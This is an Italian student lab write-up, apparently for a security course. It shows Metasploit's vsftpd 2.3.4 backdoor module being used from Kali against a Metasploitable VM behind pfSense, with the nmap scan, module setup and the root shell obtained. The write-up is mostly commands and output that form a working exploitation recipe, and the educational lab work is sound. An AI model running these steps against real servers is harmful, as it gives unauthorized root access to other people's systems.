

Hacking con Metasploit

La traccia di oggi ci chiedeva di connetterci alla vsftpd sulla porta 21, con Kali su Meta(IP 192.168.1.149). Una volta connessi alla shell di Meta creare una cartella **test_metasploit** nella directory root (/).

Per mettere in comunicazione Meta e kali con due IP diversi ho usato Pf sense come router, di seguito le configurazioni di rete:

Pf sense

WAN (wan)	-> em0	-> v4/DHCP4: 10.0.2.15/24
LANMETA (lan)	-> em1	-> v4: 192.168.10.1/24
OPT1 (opt1)	-> em2	-> v4: 192.168.1.99/24

Kali

```
auto eth0
iface eth0 inet static
address 192.168.10.23
netmask 255.255.255.0
#network 192.168.90.0
#broadcast 192.168.90.255
gateway 192.168.10.1
```

Meta

```
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 08:00:27:32:4d:c4 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
inet6 fe80::a00:27ff:fe32:4dc4/64 scope link
valid_lft forever preferred_lft forever
```

Una volta appreso che le reti comunicassero, ho svolto un nmap per accertarmi che la porta 21 fosse in ascolto e quale fosse la versione del servizio: **vsftpd 2.3.4**

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 09:42 EST
Nmap scan report for 192.168.1.149 (192.168.1.149)
Host is up (0.059s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
```

Quindi una volta capito quale fosse la versione del servizio ho provato a cercare la versione su **metasploit**, la ricerca ha dato risultato positivo con un exploit disponibile.

```
msf6 > search vsftpd 2.3.4

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Ho selezionato l'exploit e ho quindi messo ciò che richiedeva in questo caso solo l'IP del host.

```
msf6 > use 0
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

Quindi ho cercato i **payloads** compatibili con questo exploit in questo caso era uno solo. Quindi l'ho impostato e usato il comando **show options** per vedere cosa questo ultimo richiedesse, questo in particolare non aveva nessuna richiesta specifica.

```
Compatible Payloads

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  payload/cmd/unix/interact                normal         No      Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload 0
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -
```

Quindi una volta accertatomi che fosse stato impostato tutto per bene uso il comando **run** per avviare l'exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open  
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.10.23:43015 → 192.168.1.149:6200) at 2022-12-05 10:00:16 -0500
```

Adesso che la shell era stata presa ho quindi usato il comando **pwd** per vedere in quale percorso mi trovassi, il percorso era (/) quindi quello che serviva a me. Ho quindi come richiesto dalla traccia creato una directory **test_metasploit** con il comando **mkdir** e controllato che questa fosse stata creata con successo con il comando **ls**.

```
pwd  
/  
mkdir test_metasploit  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var  
vmlinuz
```